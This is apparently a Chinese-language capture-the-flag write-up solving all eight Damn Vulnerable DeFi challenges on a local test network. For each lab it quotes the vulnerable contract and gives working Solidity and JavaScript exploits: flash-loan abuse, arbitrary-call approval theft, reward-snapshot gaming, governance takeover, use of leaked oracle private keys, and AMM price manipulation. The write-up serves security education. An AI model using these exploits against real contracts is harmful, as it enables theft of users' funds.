Damn Vulnerable DeFi

Damn Vulnerable DeFi 和 Ethernaut 算是同门,都是出自 OpenZeppelin,不过前者更偏向 DeFi;题目也相对精简,只有 8 道

Damn Vulnerable DeFi 使用了 OpenZeppelin 的另一个开源项目 @openzeppelin/test-environment,所有交易在本地 Ganache 测试网络上执行,不需要水滴更不需要等待区块确认交易,比起 Ethernaut 和 Capture the Ether 舒服太多..

题解在 github 上 damn-vulnerable-defi

1. Unstoppable

题目

要求造成目标合约拒绝服务

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

interface IReceiver {
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

contract UnstoppableLender is ReentrancyGuard {
    using SafeMath for uint256;

    IERC20 public damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) public {
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance.add(amount);
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);

        damnValuableToken.transfer(msg.sender, borrowAmount);

        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

题解

虽然是第一题,但却是所有题目中我花了最长时间的..

一整个上午没找到解法,直到休息一会后,回到电脑前几眼看出了问题:

floashLoad() 中的条件判断 assert(poolBalance == balanceBefore);

鬼事神差的,读题不仔细,一直没看到这行检查..

通过 ERC20.transfer() 发送一些 token 到目标合约即可..

it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    await this.token.transfer(this.pool.address, 1, { from: attacker });
});

2. Naive receiver

题目

要求取出用户合约的全部 balance

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";

contract FlashLoanReceiver {
    using SafeMath for uint256;
    using Address for address payable;

    address payable private pool;

    constructor(address payable poolAddress) public {
        pool = poolAddress;
    }

    // Function called by the pool during flash loan
    function receiveEther(uint256 fee) public payable {
        require(msg.sender == pool, "Sender must be pool");

        uint256 amountToBeRepaid = msg.value.add(fee);

        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

        _executeActionDuringFlashLoan();

        // Return funds to pool
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive () external payable {}
}

题解

receiveEther() 中的检查 require(address(this).balance >= amountToBeRepaid)

address(this).balance 已经是此前余额加上 msg.value,所以只要此前余额大于 feerequire 就一定成功

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../naive-receiver/NaiveReceiverLenderPool.sol";

contract NaiveReceiverExploiter {
    NaiveReceiverLenderPool public pool;
    address public attacker;

    constructor(address payable poolAddress) public {
        pool = NaiveReceiverLenderPool(poolAddress);
        attacker = msg.sender;
    }

    function attack(address payable receiver, uint256 times) external {
        require(msg.sender == attacker, "Only attacker can execute flash loan");

        for (uint256 i = 0; i < times; i++) {
            pool.flashLoan(receiver, 1 ether);
        }
    }
}
it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    const NaiveReceiverExploiter = contract.fromArtifact('NaiveReceiverExploiter');
    this.exploiterContract = await NaiveReceiverExploiter.new(this.pool.address, { from: attacker });

    const fee = await this.pool.fixedFee({ from: attacker });
    const receiverBalance = await balance.current(this.receiver.address);

    const times = receiverBalance.div(fee);
    await this.exploiterContract.attack(this.receiver.address, times, { from: attacker });
});

3. Truster

题目

要求取出目标合约的全部 token

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract TrusterLenderPool is ReentrancyGuard {

    IERC20 public damnValuableToken;

    constructor (address tokenAddress) public {
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        damnValuableToken.transfer(borrower, borrowAmount);
        (bool success, ) = target.call(data);
        require(success, "External call failed");

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

题解

flashLoan() 将以自己地址的身份,执行用户传入的任何数据 bytes calldata data

因此可以构造 ERC20.approve() 的数据,使得目标合约授权攻击合约可以代其提币

it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    const web3Contract = this.token.contract;

    const txApprove = web3Contract.methods.approve(attacker, TOKENS_IN_POOL.toString());
    const data = txApprove.encodeABI();

    await this.pool.flashLoan(0, attacker, this.token.address, data, { from: attacker });
    await this.token.transferFrom(this.pool.address, attacker, TOKENS_IN_POOL, { from: attacker });
});

4. Side entrance

题目

要求取出目标合约的全部 token

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

contract SideEntranceLenderPool {
    using Address for address payable;

    mapping (address => uint256) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

题解

逻辑漏洞:deposit() 中未判断以太币的来源

我们可以通过目标合约 flashLoan() 借出 ETH 后,在回调接口中再调用其 deposit() 存入,引起 balances[attacker] 的变化

然后再调用 withdraw() 将全部 balance 取出

pragma solidity ^0.6.0;

import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceExploiter {
    SideEntranceLenderPool pool;

    constructor(address poolAddress) public {
        pool = SideEntranceLenderPool(poolAddress);
    }

    function attack() public {
        uint256 balanceBefore = address(this).balance;

        uint256 balance = address(pool).balance;
        pool.flashLoan(balance);
        pool.withdraw();

        msg.sender.transfer(address(this).balance);
    }

    function execute() public payable {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {
    }
}
it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    const SideEntranceExploiter = contract.fromArtifact('SideEntranceExploiter');
    this.exploiterContract = await SideEntranceExploiter.new(this.pool.address, { from: attacker });

    await this.exploiterContract.attack({ from: attacker });
});

5. The rewarder

题目

资金池每 5 日结算一次,对所有投资者按投资金额权重划分 100 ETH

要求获得下一轮结算的所有利息

pragma solidity ^0.6.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public lastSnapshotIdForRewards;
    uint256 public lastRecordedSnapshotTimestamp;

    mapping(address => uint256) public lastRewardTimestamps;

    // Token deposited into the pool by users
    DamnValuableToken public liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public accToken;

    // Token in which rewards are issued
    RewardToken public rewardToken;

    // Track number of rounds
    uint256 public roundNumber;

    constructor(address tokenAddress) public {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * @notice sender must have approved `amountToDeposit` liquidity tokens in advance
     */
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");

        accToken.mint(msg.sender, amountToDeposit);
        distributeRewards();

        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }

    function withdraw(uint256 amountToWithdraw) external {
        accToken.burn(msg.sender, amountToWithdraw);
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }

    function distributeRewards() public returns (uint256) {
        uint256 rewardInWei = 0;

        if(isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (totalDeposits > 0) {
            uint256 reward = (amountDeposited * 100) / totalDeposits;

            if(reward > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardInWei = reward * 10 ** 18;
                rewardToken.mint(msg.sender, rewardInWei);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewardInWei;
    }

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }

    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

题解

distributeRewards() 函数可以由外届调用并结算利息,且结算逻辑与镜像金额相关;另外,在提取利息时,没有验证实际金额是否满足

因此我们可以先投资,后结算,再撤资,最后提取利息

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/RewardToken.sol";
import "../DamnValuableToken.sol";

contract TheRewarderExploiter {
    TheRewarderPool public rewarder;
    FlashLoanerPool public pool;
    DamnValuableToken public liquidityToken;
    RewardToken public rewardToken;

    constructor(address rewarderAddress, address poolAddress, address liquidityTokenAddress, address rewardTokenAddress) public {
        rewarder = TheRewarderPool(rewarderAddress);
        pool = FlashLoanerPool(poolAddress);
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
        rewardToken = RewardToken(rewardTokenAddress);
    }

    function attack() public {
        uint256 balance = liquidityToken.balanceOf(address(pool));
        pool.flashLoan(balance);

        uint256 amount = rewardToken.balanceOf(address(this));
        rewardToken.transfer(msg.sender, amount);
    }

    function receiveFlashLoan(uint256) external {
        uint256 balance = liquidityToken.balanceOf(address(this));

        liquidityToken.approve(address(rewarder), balance);
        rewarder.deposit(balance);

        rewarder.distributeRewards();

        rewarder.withdraw(balance);
        liquidityToken.transfer(address(pool), balance);
    }
}
it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */

    // Advance time 5 days so that depositors can get rewards
    await time.increase(time.duration.days(5));

    const TheRewarderExploiter = contract.fromArtifact('TheRewarderExploiter');
    const exploiterContract = await TheRewarderExploiter.new(
        this.rewarderPool.address,
        this.flashLoanPool.address,
        this.liquidityToken.address,
        this.rewardToken.address,
        { from: attacker }
    );
    await exploiterContract.attack({ from: attacker });
});

6. Selfie

题目

要求取出目标合约的全部 token

pragma solidity ^0.6.0;

import "../DamnValuableTokenSnapshot.sol";

contract SimpleGovernance {

    struct GovernanceAction {
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }

    DamnValuableTokenSnapshot public governanceToken;

    mapping(uint256 => GovernanceAction) public actions;
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    constructor(address governanceTokenAddress) public {
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }

    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        uint256 actionId = actionCounter;

        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);
        return actionId;
    }

    function executeAction(uint256 actionId) external payable {
        require(_canBeExecuted(actionId), "Cannot execute this action");

        GovernanceAction storage actionToExecute = actions[actionId];
        actionToExecute.executedAt = block.timestamp;

        (bool success,) = actionToExecute.receiver.call{
            value: actionToExecute.weiAmount
        }(actionToExecute.data);

        require(success, "Action failed");

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
        return ACTION_DELAY_IN_SECONDS;
    }

    /**
     * @dev an action can only be executed if:
     * 1) it's never been executed before and
     * 2) enough time has passed since it was first proposed
     */
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }

    function _hasEnoughVotes(address account) private view returns (bool) {
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

题解

只要满足投票权过半,治理合约无条件信任参与者的提议,并将在 2 天后执行;执行时没有检查提议者是否仍旧满足条件

因此我们可以提交对资金池合约 drainAllFunds() 函数的调用提议,并使其参数 receiver 接收者为攻击合约自身

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../selfie/SelfiePool.sol";
import "../selfie/SimpleGovernance.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieExploiter {
    SelfiePool public pool;
    SimpleGovernance public governance;
    DamnValuableTokenSnapshot public token;

    uint256 public actionId;

    constructor(address poolAddress, address governanceAddress, address tokenAddress) public {
        pool = SelfiePool(poolAddress);
        governance = SimpleGovernance(governanceAddress);
        token = DamnValuableTokenSnapshot(tokenAddress);
    }

    function attack() public {
        uint256 balance = token.balanceOf(address(pool));
        pool.flashLoan(balance);
    }

    function attackFinish() public {
        governance.executeAction(actionId);

        uint256 balance = token.balanceOf(address(this));
        token.transfer(msg.sender, balance);
    }

    function receiveTokens(address _token, uint256 amount) external {
        require(address(token) == _token);

        token.snapshot();

        bytes memory data = abi.encodeWithSelector(pool.drainAllFunds.selector, address(this));
        actionId = governance.queueAction(address(pool), data, 0);

        token.transfer(address(pool), amount);
    }
}
it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    const SelfieExploiter = contract.fromArtifact('SelfieExploiter');
    const exploiterContract = await SelfieExploiter.new(this.pool.address, this.governance.address, this.token.address, { from: attacker });

    await exploiterContract.attack({ from: attacker });
    await time.increase(time.duration.days(2));
    await exploiterContract.attackFinish({ from: attacker });
});

7. Compromised

题目

依赖预言机的交易所,其服务器泄漏了如下信息

要求取出目标合约的全部 token

          HTTP/2 200 OK
          content-type: text/html
          content-language: en
          vary: Accept-Encoding
          server: cloudflare

          4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

          4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

题解

以 Base64 解码 16 进制数据

> const binary = '4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35';

> const text = web3.utils.hexToAscii('0x' + binary.replace(/[ ]+/g, ''))
> console.log(text)
'MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5'

> const decoded = Buffer.from(text, "base64").toString()
> console.log(decoded)
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

一开始以为这是两个交易哈希,怀疑和 Capture the Ether #18 Account Takeover 一样,是 EDCSA 签名时随机数重复的问题,于是希望获得交易详情,拿到 rsv 以反解私钥

可惜在主网和各测试网络上都查了一遍,都没有收获

转念一想,即使它们确实是两个交易,也只能推出一个私钥;而交易所使用了 3 个预言机,只能操纵一个预言机是不够的..

会不会眼前的就已经是两个私钥?

测试了下,真是踏破铁鞋无觅处,得来全不费功夫..

it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    const accounts = [
        '4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35',
        '4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34'
    ].map(x =>  {
        const hex = '0x' + x.replace(/[ ]+/g, '');
        const text = web3.utils.hexToAscii(hex);
        const buffer = Buffer.from(text, "base64");
        const privateKey = buffer.toString();

        return web3.eth.accounts.privateKeyToAccount(privateKey);
    });

    accounts.forEach(async (account) => {
        await web3.eth.personal.importRawKey(account.privateKey, '');
        await web3.eth.personal.unlockAccount(account.address, '', 600);
    }) ;

    const price = await this.oracle.getMedianPrice(await this.token.symbol());
    const buyOneTx = await this.exchange.buyOne({ from: attacker, value: price });
    const tokenId = buyOneTx.logs[0].args.tokenId.toString();
    const amount = await balance.current(this.exchange.address)

    await this.oracle.postPrice(await this.token.symbol(), amount, { from: accounts[0].address });
    await this.oracle.postPrice(await this.token.symbol(), amount, { from: accounts[1].address });

    await this.token.approve(this.exchange.address, tokenId, { from: attacker });
    await this.exchange.sellOne(tokenId, { from: attacker });
    });

8. Puppet

题目

要求从交易所中获得尽可能多的 token

pragma solidity ^0.6.0;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../DamnValuableToken.sol";

contract PuppetPool is ReentrancyGuard {

    using SafeMath for uint256;
    using Address for address payable;

    address public uniswapOracle;
    mapping(address => uint256) public deposits;
    DamnValuableToken public token;

    constructor (address tokenAddress, address uniswapOracleAddress) public {
        token = DamnValuableToken(tokenAddress);
        uniswapOracle = uniswapOracleAddress;
    }

    // Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
    function borrow(uint256 borrowAmount) public payable nonReentrant {
        uint256 amountToDeposit = msg.value;

        uint256 tokenPriceInWei = computeOraclePrice();
        uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) * 2;

        require(amountToDeposit >= depositRequired, "Not depositing enough collateral");
        if (amountToDeposit > depositRequired) {
            uint256 amountToReturn = amountToDeposit - depositRequired;
            amountToDeposit -= amountToReturn;
            msg.sender.sendValue(amountToReturn);
        }

        deposits[msg.sender] += amountToDeposit;

        // Fails if the pool doesn't have enough tokens in liquidity
        require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
    }

    function computeOraclePrice() public view returns (uint256) {
        return uniswapOracle.balance.div(token.balanceOf(uniswapOracle));
    }

     /**
     ... functions to deposit, redeem, repay, calculate interest, and so on ...
     */

}

题解

这题感觉不是什么漏洞,就是 AMM 容易出现的交易对滑点问题

我们可以向交易所借出 token 后,再投入流动性,使得汇率变化,最后再归还此前借出的等额 token,实现套利

it('Exploit', async function () {
    /** YOUR EXPLOIT GOES HERE */
    const { time } = require('@openzeppelin/test-helpers');
    const deadline = (await time.latest()).add(time.duration.days(1)).toString();

    await this.token.approve(this.uniswapExchange.address, ether('1'), { from: attacker });
    await this.uniswapExchange.tokenToEthSwapInput(ether('1'), '1', deadline, { from: attacker });

    const borrowAmount = await this.token.balanceOf(this.lendingPool.address, { from: attacker });
    await this.lendingPool.borrow(borrowAmount, { from: attacker });

    await this.token.approve(this.uniswapExchange.address, ether('1'), { from: attacker });
    await this.uniswapExchange.tokenToEthSwapInput(ether('1'), '1', deadline, { from: attacker });
});